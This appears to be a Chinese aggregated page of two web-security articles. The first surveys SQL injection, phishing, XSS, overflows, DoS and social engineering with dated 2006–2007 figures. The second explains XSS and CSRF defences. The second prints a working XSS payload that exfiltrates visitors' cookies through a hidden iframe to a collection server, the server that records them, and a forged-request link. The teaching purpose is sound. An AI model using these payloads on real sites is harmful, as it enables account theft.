本文目录一览:
WWW弱口令怎么利用
利用某些特殊构造的SQL语句插入SQL的特殊字符和指令,提交一段数据库查询代码(一般是在浏览器地址栏进行,通过正常的www端口访问),操纵执行后端的DBMS查询并获得本不为用户所知数据的技术,也就是SQL Injection(SQL注入)。
SQL注入是从正常的WWW端口通过对页面请求访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙很少会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。
SQL注入的手法相当灵活,可以根据具体情况进行分析,构造巧妙的SQL语句,从而获取想要的数据。
程序存在SQL注入,追其原因,是因为代码或者编码的不完善。但说到底,是程序员的惰性。代码的不完善,往往是因为在程序编写的过程中,没有考虑到代码的健壮性及安全性的结果,就国内现状来看,大多数网站使用的脚本语言,用ASP+Access或SQLServer的占70%以上,PHP+MySQL占20%,其他的不足10%,并且因为开发者水平的参差不齐,代码编写的过程考虑不够周全,程序代码的安全性值得怀疑,而程序脚本被注入也成为必然。
当然,程序运行环境的先天缺陷也是人为的,这种现象无法完全杜绝避免。从攻击者的角度来看,使用SQL注入能够避免绝大多数防火墙的防御,不留攻击痕迹,攻击手法多种多样,因此才会导致SQL注入攻击手段的兴起。
3.1.2、SQL注入的原理及分类
SQL-Injection的原理
SQL是一种用于关系数据库的结构化查询语言。它分为许多种,但大多数都松散地基于美国国家标准化组织最新的标准SQL-92。SQL语言可以修改数据库结构和操作数据库内容。当一个攻击者能够通过往查询中插入一系列的SQL操作数据写入到应用程序中去,并对数据库实施了查询,这时就已经构成了SQL-Injection。
SQL-Injection的分类
由于SQL-injection攻击出要发生在B/S结构的应用程序上,而这些程序大部分都属于互联网的web站点,在这种情况下SQL-Injection同样需要遵循HTTP协议,形成了两种分类: POST方式注入和GET方式注入
3.1.3、SQL-Injection的攻击方法
常规注入方法 SQL注入攻击本身就是一个常规性的攻击,它可以允许一些不法用户检索你的数据,改变服务器的设置,或者在你不小心的时候黑掉你的服务器。
旁注 顾名思义就是从旁注入,也就是利用主机上面的一个虚拟站点进行渗透 ,此类手法多出现与虚拟主机站点。
盲注 通过构造特殊的SQL语句,在没有返回错误信息的情况下进行注入。
跨站注入 攻击者利用程序对用户输入过滤及判断的不足,写入或插入可以显示在页面上对其他用户造成影响的代码。跨站注入的高级攻击就属于这种攻击。
3.1.4、SQL注入的危害
SQL注入通过网页对网站数据库进行修改。它能够直接在数据库中添加具有管理员权限的用户,从而最终获得系统管理员权限。黑客可以利用获得的管理员权限任意获得网站上的文件或者在网页上加挂木马和各种恶意程序,对网站的正常运营和访问该网站的网友都带来巨大危害。
3.1.5、SQL注入漏洞的风险
由于SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。它能够直接在数据库中添加具有管理员权限的用户,从而最终获得系统管理员权限。黑客可以利用获得的管理员权限任意获得网站上的文件或者在网页上加挂木马和各种恶意程序,对网站和访问该网站的网友都带来巨大危害。
无论你有多强壮的防火墙规则设置或者非常勤于补漏的修补机制,如果你的网络应用程序开发者没有遵循安全代码进行开发,攻击者将通过80端口进入你的系统。
例如,如果一个网站的数据库系统为SQL Server 2000数据库,同时没有在数据库的权限设置上做好安全限制,将导致严重的后果。SQL注入意味着数据库也会被攻破,入侵者得到当前数据库权限的同时,也获得了整个数据库服务器的管理权限,入侵者可通过数据库管理权限得到系统权限,并为所欲为。
再者,很多网站的管理后台都可经由公网直接访问到后台管理登录页面,并且可通过暴力猜解等方式对后台管理账户进行猜解。对于任何一个网站的后台管理登录页,安全的做法应该是限制访问。尤其是对于政府及银行网络来说,更不应该将后台管理页面放置到公网上任由访问,这样的话安全系数会大大减少,遭受攻击的机会却大大增加了。
3.2、网络钓鱼
网络钓鱼(Phishing)一词,是“Fishing”和“Phone”的综合体,由于黑客始祖起初是以电话作案,所以用“Ph”来取代“F”,创造了”Phishing”,Phishing 发音与 Fishing相同。 “网络钓鱼”就其本身来说,称不上是一种独立的攻击手段,更多的只是诈骗方法,就像现实社会中的一些诈骗一样。
攻击者利用欺骗性的电子邮件和伪造的Web站点来进行诈骗活动,诱骗访问者提供一些个人信息,如信用卡号、账户用和口令、社保编号等内容(通常主要是那些和财务,账号有关的信息,以获取不正当利益),受骗者往往会泄露自己的财务数据。
诈骗者通常会将自己伪装成知名银行、在线零售商和信用卡公司等可信的品牌,因此来说,网络钓鱼的受害者往往也都是那些和电子商务有关的服务商和使用者。
3.2.1、网络钓鱼工作原理
现在网络钓鱼的技术手段越来越复杂,比如隐藏在图片中的恶意代码、键盘记录程序,当然还有和合法网站外观完全一样的虚假网站,这些虚假网站甚至连浏览器下方的锁形安全标记都能显示出来。网络钓鱼的手段越来越狡猾,这里首先介绍一下网络钓鱼的工作流程。通常有五个阶段:
网络钓鱼的工作原理
3.2.2、“网络钓鱼”的主要手法
a、发送电子邮件,以虚假信息引诱用户中圈套
诈骗分子以垃圾邮件的形式大量发送欺诈性邮件,这些邮件多以中奖、顾问、对账等内容引诱用户在邮件中填入金融账号和密码,或是以各 种紧迫的理由要求收件人登录某网页提交用户名、密码、身份证号、信用卡号等信息,继而盗窃用户资金。
例如今年2月份发现的一种骗取美邦银行(Smith Barney)用户的账号和密码的“网络钓鱼”电子邮件,该邮件利用了IE的图片映射地址欺骗漏洞,并精心设计脚本程序,用一个显示假地址的 弹出窗口遮挡住了IE浏览器的地址栏,使用户无法看到此网站的真实地址。当用户使用未打补丁的Outlook打开此邮件时,状态栏显示的链接是虚假的。
当用户点击链接时,实际连接的是钓鱼网站http://**.41.155.60:87/s。该网站页面酷似Smith Barney银行网站的登陆界面,而用户一旦输入了自己的账号密码,这些信息就会被黑客窃取。
b、建立假冒网上银行、网上证券网站,骗取用户账号密码实施盗窃
犯罪分子建立起域名和网页内容都与真正网上银行系统、网上证券交易平台极为相似的网站,引诱用户输入账号密码等信息,进而通过真正的网上银行、网上证券系统或者伪造银行储蓄卡、证券交易卡盗窃资金;还有的利用跨站脚本,即利用合法网站服务器程序上的漏洞,在站点 的某些网页中插入恶意html代码,屏蔽住一些可以用来辨别网站真假的重要信息,利用cookies窃取用户信息。
如曾互联网上出现过的某假冒银行网站,网址为,而真正银行网站是,犯罪分子利用数字1和字母i非常相近的特点企图蒙蔽粗心的用户。
又如2004年7月发现的某假公司网站(网址为),而真正网站为 ,诈骗者利用了小写字母l和数字1很相近的障眼法。诈骗者通过QQ散布“XX集 团和XX公司联合赠送QQ币”的虚假消息,引诱用户访问。
c、利用虚假的电子商务进行诈骗
此类犯罪活动往往是建立电子商务网站,或是在比较知名、大型的电子商务网站上发布虚假的商品销售信息,犯罪分子在收到受害人的购物汇款后就销声匿迹。如2003年,罪犯佘某建立“奇特器材网”网站,发布出售间谍器材、黑客工具等虚假信息,诱骗顾主将购货款汇入其用虚假身份在多个银行开立的账户,然后转移钱款的案件。
除少数不法分子自己建立电子商务网站外,大部分人采用在知名电子商务网站上,如“易趣”、“淘宝”、“阿里巴巴”等,发布虚假信息,以所谓“超低价”、“免税”、“走私货”、“慈善义卖”的名义出售各种产品,或以次充好,以走私货充行货,很多人在低价的诱惑下上当受骗。网上交易多是异地交易,通常需要汇款。不法分子一般要求消费者先付部分款,再以各种理由诱骗消费者付余款或者其他各种名目的款项,得到钱款或被识破时,就立即切断与消费者的联系。
d、利用木马和黑客技术等手段窃取用户信息后实施盗窃活动
木马制作者通过发送邮件或在网站中隐藏木马等方式大肆传播木马程序,当感染木马的用户进行网上交易时,木马程序即以键盘记录的方式获取用户账号和密码,并发送给指定邮箱,用户资金将受到严重威胁。
如去年网上出现的盗取某银行个人网上银行账号和密码的木马Troj_HidWebmon及其变种,它甚至可以盗取用户数字证书。又如去年出现的木马“证券大盗”,它可以通过屏幕快照将用户的网页登录界面保存为图片,并发送给指定邮箱。黑客通过对照图片中鼠标的点击位置,就很有可能破译出用户的账号和密码,从而突破软键盘密码保护技术,严重威胁股民网上证券交易安全。
e、利用用户弱口令等漏洞破解、猜测用户账号和密码
不法分子利用部分用户贪图方便设置弱口令的漏洞,对银行卡密码进行破解。如2004年10月,三名犯罪分子从网上搜寻某银行储蓄卡卡号,然后登陆该银行网上银行网站,尝试破解弱口令,并屡屡得手。
实际上,不法分子在实施网络诈骗的犯罪活动过程中,经常采取以上几种手法交织、配合进行,还有的通过手机短信、QQ、msn进行各种各 样的“网络钓鱼”不法活动。
3.3、跨站攻击
XSS又叫CSS(Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入Web里面的html代码会被执行,从而达到攻击者的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人经常忽略其危害性。
就攻击者而言,可以把XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:DVBBS的showerror.asp存在的跨站漏洞。另一类则是来自外部的攻击,主要指的攻击者构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当攻击者要渗透一个站点,攻击者构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。
传统的跨站利用方式一般都是攻击者先构造一个跨站网页,然后在另一空间里放一个收集cookie的页面,接着结合其它技术让用户打开跨站页面以盗取用户的cookie,以便进一步的攻击。这种方式太过于落后,比较成熟的方法是通过跨站构造一个表单,表单的内容则为利用程序的备份功能或者加管理员等功能得到一个高权限。
当发动CSS攻击或检测一个网站漏洞的时候, 攻击者可能首先使简单的HTML标签如b(粗体),i(斜体)或u(下划线),或者他可能尝试简单的script标签如scriptalert("OK")/script。因为大多数出版物和网络传播的检测网站是否有css漏洞都拿这个作为例子。这些尝试都可以很简单的被检测出来。
然而,高明点的攻击者可能用它的hex值替换整个字符串。这样script标签会以%3C%73%63%72%69%70%74%3E出 现。 另一方面,攻击者可能使用web代理服务器像Achilles会自动转换一些特殊字符如换成%3C换成%3E。这样攻击发生时,URL 中通常以hex等值代替角括号。
3.4、溢出漏洞
溢出漏洞是一种计算机程序的可更正性缺陷。溢出漏洞的全名为“缓冲区溢出漏洞”。因为它是在程序执行的时候在缓冲区执行的错误代码,所以叫缓冲区溢出漏洞。它一般是由于编成人员的疏忽造成的。具体的讲,溢出漏洞是由于程序中的某个或某些输入函数(使用者输入参数)对所接收数据的边界验证不严密而造成。
根据程序执行中堆栈调用原理,程序对超出边界的部分如果没有经过验证自动去掉,那么超出边界的部分就会覆盖后面的存放程序指针的数据,当执行完上面的代码,程序会自动调用指针所指向地址的命令。根据这个原理,恶意使用者就可以构造出溢出程序。
大多数应用程序保存数据的存储地址大小是固定的。如果攻击者向这些存储区域之一中发送了过量数据,而程序没有检查数据的大小,则会发生溢出。攻击者针对这一特点发出的攻击称为缓冲区溢出攻击。
缓冲区是用户为程序运行时在计算机中申请得的一段连续的内存,它保存了给定类型的数据。缓冲区溢出指的是一种常见且危害很大的系统攻击手段,通过向程序的缓冲区写入超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其他的指令,以达到攻击的目的。
而人为的溢出则是有一定企图的,攻击者写一个超过缓冲区长度的字符串,然后植入到缓冲区,而再向一个有限空间的缓冲区中植入超长的字符串可能会出现两个结果,一是过长的字符串覆盖了相邻的存储单元,引起程序运行失败,严重的可导致系统崩溃;另有一个结果就是利用这种漏洞可以执行任意指令,甚至可以取得系统root特级权限。大多造成缓冲区溢出的原因是程序中没有仔细检查用户输入参数而造成的。
缓冲区溢出问题并非已成古老的历史,缓冲区溢出攻击已成为最常用的黑客技术之一。引起缓冲区溢出问题的根本原因是C(与其后代C++)本质就是不安全的,没有边界来检查数组和指针的引用,也就是开发人员必须检查边界(而这一行为往往会被忽视),否则会冒遇到问题的风险。标准C库中还存在许多非安全字符串操作,包括:strcpy()、sprintf()、gets()等,这些都是程序员需要注意的。
3.5、拒绝服务攻击
网络安全中,拒绝服务攻击(DOS)以其危害巨大,难以防御等特点成为骇客经常采用的攻击手段。DoS是Denial of Service的简称,即拒绝服务,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。
3.5.1、被拒绝服务攻击时的现象
最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。带宽攻击指以极大的通信量冲击网络,大量攻击包导致网络带宽被阻塞,合法网络包被虚假的攻击包淹没而无法到达主机,使得所有可用网络资源都被消耗殆尽,最后导致合法的用户请求就无法通过。连通性攻击指用大量的连接请求冲击计算机,通过大量攻击包导致主机的内存被耗尽或CPU被内核及应用程序占完而造成无法提供网络服务,使得所有可用的操作系统资源都被消耗殆尽,最终服务器无法再处理合法用户的请求。
如何判断网站是否遭受了流量攻击呢?可通过Ping命令来测试,若发现Ping超时或丢包严重(假定平时是正常的),则可能遭受了流量攻击,此时若发现和你的主机接在同一交换机上的服务器也访问不了了,基本可以确定是遭受了流量攻击。当然,这样测试的前提是你到服务器主机之间的ICMP协议没有被路由器和防火墙等设备屏蔽,否则可采取Telnet主机服务器的网络服务端口来测试,效果是一样的。不过有一点可以肯定,假如平时Ping你的主机服务器和接在同一交换机上的主机服务器都是正常的,突然都Ping不通了或者是严重丢包,那么假如可以排除网络故障因素的话则肯定是遭受了流量攻击,再一个流量攻击的典型现象是,一旦遭受流量攻击,会发现用远程终端连接网站服务器会失败。
相对于流量攻击而言,资源耗尽攻击要容易判断一些,假如平时Ping网站主机和访问网站都是正常的,发现突然网站访问非常缓慢或无法访问了,而Ping还可以Ping通,则很可能遭受了资源耗尽攻击,此时若在服务器上用netstat -an命令观察到有大量的SYN_RECEIVED、TIME_WAIT、FIN_WAIT_1等状态存在,而ESTABLISHED很少,则可判定肯定是遭受了资源耗尽攻击。还有一种属于资源耗尽攻击的现象是,Ping自己的网站主机Ping不通或者是丢包严重,而Ping与自己的主机在同一交换机上的服务器则正常,造成这种原因是网站主机遭受攻击后导致系统内核或某些应用程序CPU利用率达到100%无法回应Ping命令,其实带宽还是有的,否则就Ping不通接在同一交换机上的主机了。
3.5.2、总结为以下几个典型特徵:
被攻击主机上有大量等待的TCP连接
网络中充斥着大量的无用的数据包,源地址为假
制造高流量无用数据,造成网络拥塞,使受害主机无法正常和外界通讯
利用受害主机提供的服务或传输协议上的缺陷,反复高速的发出特定的
服务请求,使受害主机无法及时处理所有正常请求
严重时会造成系统死机
在2006年,拒绝服务攻击已经被提升到了利用僵尸网络BotNet进行大批量攻击的层次,其严重程度已经达到了阻塞国内网络的程度。根据今年上半年监测的数据,中国拥有的“僵尸网络”电脑数目最多,全世界共有470万台,而中国就占到了近20%。而据国内不完全统计,中国拥有的“僵尸网络”电脑数量达到120万台,其严重性已不可忽视。
3.6、社会工程学
我们通常把基于非计算机的欺骗技术叫做社会工程。社会工程中,攻击者设法设计让人相信它是其他人。这就像攻击者在给人打电话时说自己是某人一样的简单。因为他说了一些大概只有那个人知道的信息,所以受害人相信他。
社会工程的核心是,攻击者设法伪装自己的身份并设计让受害人泄密私人信息。这些攻击的目标是搜集信息来侵入计算机系统的,通常通过欺骗某人使之泄露出口令或者在系统中建立个新帐号。其他目标使侦察环境,找出安装了什么硬件和软件,服务器上装载了什么补丁等等。
通过社会工程得到的信息是无限的,其严重程度亦可从大量用户被网络钓鱼事件中窥见一斑,攻击者可利用网络钓鱼获得的信息尝试用户信箱及即时通讯工具的账户,从而获取有用的信息。
4、2007年黑客攻击水平会发展到惊人的程度之上
虽然Botnet在最近几个月引发了大量的垃圾邮件,但是,安全研究人员更警惕的是垃圾邮件的高级水平。安全人员警告说,有针对性的钓鱼攻击正在进入企业电子邮件服务器。
垃圾邮件已经达到了我们通常所说的商业级产品的水平。我们已经看到了这种活动的变化。现在,Botnet发出大量单独的垃圾邮件。
根据MessageLabs的统计,今年11月份全球垃圾邮件的通信量已经增长到了占全球电子邮件通信量的90%。这个百分比预计在今年12月份将继续保持下去。
此外,在200封电子邮件中至少有一封电子邮件包含钓鱼攻击的内容。最近拦截的恶意电子邮件中,有68%以上的恶意邮件是钓鱼攻击邮件,比过去的几个月增长了。
安全研究人员预计,2007年将是攻击的高级程度发展到惊人的水平的一年。
攻击者将搜索MySpace等社交网络网站,窃取地址、地区号码和其他身份数据以便使钓鱼攻击电子邮件让受害者看起来像真的一样。
在许多情况下,坏分子可能使用银行的地址,让受害者以为电子邮件是从银行发出来的,从而使钓鱼攻击获得成功。这些坏分子将抢劫大型社交网络团体的数据库,利用垃圾邮件成功地实施攻击。
安全公司赛门铁克的高级工程经理Alfred Huger说,每一天发生的钓鱼攻击的企图高达700多万起,并称,不成熟的钓鱼攻击已经显著增加到了每天900起以上。
攻击者将从住在同一个地区的人们那里收集电子邮件地址。然后,攻击者向受害者发出一封钓鱼攻击电子邮件。这种电子邮件表面上看好像是从那个地区的银行或者其它金融机构那里发来的。进入到2007年,Huger预测,钓鱼攻击将变得更加有针对性并且更难发现其欺骗性。
可信赖的因素非常高,人们更容易成为这种攻击的猎物,因为人们想不到自己的银行会参与这种事情。
随着具有电子邮件和其它消息功能的手机的应用,使用短信实施的钓鱼攻击在2007年也将增长。我们的手机现在已经成为微型的计算机,任何在台式电脑上发生的事情都可能对我们的手机产生影响。一些企业已经开始制定有关移动设备
使用的政策,还有一些企业没有制定这种政策。中间地带并不大。
企业和消费者能够采取基本的措施进行反击。金融机构将改善身份识别功能和加强教育的努力,以便帮助客户理解他们的银行什么时候将与他们进行合法的联系。消费者可以向赛门铁克反钓鱼攻击网站举报钓鱼网站以便与网络诈骗作斗争。
Rootkit在增长
攻击者在2006年更广泛地应用rootkit技术。这种技术的应用在2007年将继续增长。rootkit是一种软件工具集,能够让网络管理员访问一台计算机或者一个网络。一旦安装了rootkit,攻击者就可以把自己隐藏起来,在用户计算机中安装间谍软件和其它监视敲击键盘以及修改记录文件的软件。虽然微软发布的Vista操作系统能够减少某些rootkit的应用,但是,rootkit的使用在2007年将成为标准。据赛门铁克称,用户模式rootkit策略目前已经非常普遍。内核模式rootkit的使用也在增长。
Rootkit是一种功能更强大的工具。我们将看到更多的rootkit,因为安全产品正在变得越来越强大,攻击者不得不提高赌注。
前端安全方面有没有了解?xss和csrf如何攻防
在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式。在这个年代, 参数化查询 已经成了普遍用法,我们已经离 SQL 注入很远了。但是,历史同样悠久的 XSS 和 CSRF 却没有远离我们。由于之前已经对 XSS 很熟悉了,所以我对用户输入的数据一直非常小心。如果输入的时候没有经过 Tidy 之类的过滤,我一定会在模板输出时候全部转义。所以个人感觉,要避免 XSS 也是很容易的,重点是要“小心”。但最近又听说了另一种跨站攻击 CSRF ,于是找了些资料了解了一下,并与 XSS 放在一起做个比较。
XSS:脚本中的不速之客
XSS 全称“跨站脚本”,是注入攻击的一种。其特点是不对服务器端造成任何伤害,而是通过一些正常的站内交互途径,例如发布评论,提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本,作为内容发布到了页面上,其他用户访问这个页面的时候就会运行这些脚本。
运行预期之外的脚本带来的后果有很多中,可能只是简单的恶作剧——一个关不掉的窗口:
1
2
3
while (true) {
alert("你关不掉我~");
}
也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程,先建立一个用来收集信息的服务器:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
#-*- coding:utf-8 -*-
"""
跨站脚本注入的信息收集服务器
"""
import bottle
app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)
@app.route('/myxss/')
def show(cookies, db):
SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
try:
db.execute(SQL, cookies)
except:
pass
return ""
if __name__ == "__main__":
app.run()
然后在某一个页面的评论中注入这段代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 用 script type="text/javascript"/script 包起来放在评论中
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);
于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求,是他们所看不到的。而这个请求,会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。
我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制,只能访问当前域名下的 URL,所谓不能“跨域”问题。这种做法的初衷也是防范 XSS,多多少少都起了一些作用,但不是总是有用,正如上面的注入代码,用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下,我还能用 iframe 发起 POST 请求。当然,现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截,例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功,何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将,我们也不应该把事关安全性的责任推脱给浏览器,所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的,这点对于 Web 开发者应该是常识。
正如上文所说,如果我们不需要用户输入 HTML 而只想让他们输入纯文本,那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点,Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们,我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数,Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎,那么其必自带了方便快捷的转义方式。
真正麻烦的是,在一些场合我们要允许用户输入 HTML,又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙,但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的,任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况,我个人更倾向于使用简单的方法处理,简单的方法就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构,但我们并不将这些数据直接存入数据库,而是使用 HTML 解析库遍历节点,获取其中数据(之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性)。然后根据用户原有的标签属性,重新构建 HTML 元素树。构建的过程中,所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别(前面说了 HTML 不同于 XML,要求有很强的容错性),那么它不会成为漏网之鱼,因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树,我们可以拍胸脯保证——所有的标签、属性都来自白名单,一定不会遗漏。
现在看来,大多数 Web 开发者都了解 XSS 并知道如何防范,往往大型的 XSS 攻击(包括前段时间新浪微博的 XSS 注入)都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中,开启(或不要关闭)类似 Django Template、Jinja2 中“默认转义”(Auto Escape)的功能。在不需要转义的场合,我们可以用类似 的方式取消转义。这种白名单式的做法,有助于降低我们由于疏漏留下 XSS 漏洞的风险。
另外一个风险集中区域,是富 AJAX 类应用(例如豆瓣网的阿尔法城)。这类应用的风险并不集中在 HTTP 的静态响应内容,所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域,开发者不得不自己打开危险的大门。这种情况下,站点的安全非常 依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包(似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试),但我都没试用过,故不予评价。不管怎么说,我认为从用户输入的地方把好关总是成本最低而又最有效的做法。
CSRF:冒充用户之手
起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别,后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条,但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。
CSRF 的全称是“跨站请求伪造”,而 XSS 的全称是“跨站脚本”。看起来有点相似,它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户,但前面说了,它们的攻击类型是不同维度上的分 类。CSRF 顾名思义,是伪造请求,冒充用户在站内的正常操作。我们知道,绝大多数网站是通过 cookie 等方式辨识用户身份(包括使用服务器端 Session 的网站,因为 Session ID 也是大多保存在 cookie 里面的),再予以授权的。所以要伪造用户的正常操作,最好的方法是通过 XSS 或链接欺骗等途径,让用户在本机(即拥有身份 cookie 的浏览器端)发起用户所不知道的请求。
严格意义上来说,CSRF 不能分类为注入攻击,因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌,但对于设计不佳的网站,一条正常的链接都能造成 CSRF。
例如,一论坛网站的发贴是通过 GET 请求访问,点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问:
标题content=内容
那么,我只需要在论坛中发一帖,包含一链接:
我是脑残content=哈哈
只要有用户点击了这个链接,那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧,但是既然发贴的请求可以伪造,那么删帖、转帐、改密码、发邮件全都可以伪造。
如何解决这个问题,我们是否可以效仿上文应对 XSS 的做法呢?过滤用户输入, 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用,但阻挡不了 CSRF,因为攻击者可以通过 QQ 或其他网站把这个链接发布上去,为了伪装可能还使用 bit.ly 压缩一下网址,这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ,我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入,因为它并不属于注入攻击,而是请求伪造。被伪造的请求可以是任何来源,而非一定是站内。所以我们唯有一条路可行,就是过滤请求的 处理者。
比较头痛的是,因为请求可以从任何一方发起,而发起请求的方式多种多样,可以通过 iframe、ajax(这个不能跨域,得先 XSS)、Flash 内部发起请求(总是个大隐患)。由于几乎没有彻底杜绝 CSRF 的方式,我们一般的做法,是以各种方式提高攻击的门槛。
首先可以提高的一个门槛,就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作,应该只接受 POST 请求,而 GET 请求应该只浏览而不改变服务器端资源。当然,最理想的做法是使用 REST 风格 的 API 设计,GET、POST、PUT、DELETE 四种请求方法对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求方法,我们可以使用 ajax 提交请求(例如通过 jquery-form 插件,我最喜欢的做法),也可以使用隐藏域指定请求方法,然后用 POST 模拟 PUT 和 DELETE (Ruby on Rails 的做法)。这么一来,不同的资源操作区分的非常清楚,我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了,但他们仍可以发布表单,或者在其他站点上使用我们肉眼不可见的表单,在后台用 js 操作,伪造请求。
接下来我们就可以用比较简单也比较有效的方法来防御 CSRF,这个方法就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生,“请求令牌”和“同步令牌”原理是一样的,只不过目的不同,后者是为了解决 POST 请求重复提交问题,前者是为了保证收到的请求一定来自预期的页面。实现方法非常简单,首先服务器端要以某种策略生成随机字符串,作为令牌(token), 保存在 Session 里。然后在发出请求的页面,把该令牌以隐藏域一类的形式,与其他信息一并发出。在接收请求的页面,把接收到的信息中的令牌与 Session 中的令牌比较,只有一致的时候才处理请求,否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。
请求令牌虽然使用起来简单,但并非不可破解,使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意:
虽然请求令牌原理和验证码有相似之处,但不应该像验证码一样,全局使用一个 Session Key。因为请求令牌的方法在理论上是可破解的,破解方式是解析来源页面的文本,获取令牌内容。如果全局使用一个 Session Key,那么危险系数会上升。原则上来说,每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候,可以稍加封装,编写一个令牌工具包,将页面的标识作为 Session 中保存令牌的键。
在 ajax 技术应用较多的场合,因为很有请求是 JavaScript 发起的,使用静态的模版输出令牌值或多或少有些不方便。但无论如何,请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门,却又把钥匙放在门口,让我们的请求令牌退化为同步令牌。
第一点说了请求令牌理论上是可破解的,所以非常重要的场合,应该考虑使用验证码(令牌的一种升级,目前来看破解难度极大),或者要求用户再次输入密码(亚马逊、淘宝的做法)。但这两种方式用户体验都不好,所以需要产品开发者权衡。
无论是普通的请求令牌还是验证码,服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题,验证码用完并未销毁,故只要获取一次验证码图片,其中的验证码可以在多次请求中使用(只要不再次刷新验证码图片),一直用到 Session 超时。这也是为何选课系统加了验证码,外挂软件升级一次之后仍然畅通无阻。
如下也列出一些据说能有效防范 CSRF,其实效果甚微的方式甚至无效的做法。
通过 referer 判定来源页面:referer 是在 HTTP Request Head 里面的,也就是由请求的发送者决定的。如果我喜欢,可以给 referer 任何值。当然这个做法并不是毫无作用,起码可以防小白。但我觉得性价比不如令牌。
过滤所有用户发布的链接:这个是最无效的做法,因为首先攻击者不一定要从站内发起请求(上面提到过了),而且就算从站内发起请求,途径也远远不知链接一条。比如 img src="./create_post.php" / 就是个不错的选择,还不需要用户去点击,只要用户的浏览器会自动加载图片,就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户:这个方法看上去能干扰站外通过 iframe 发起的 CSRF,但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑,或者干脆脱离 iframe,使用 Flash 来达到目的。
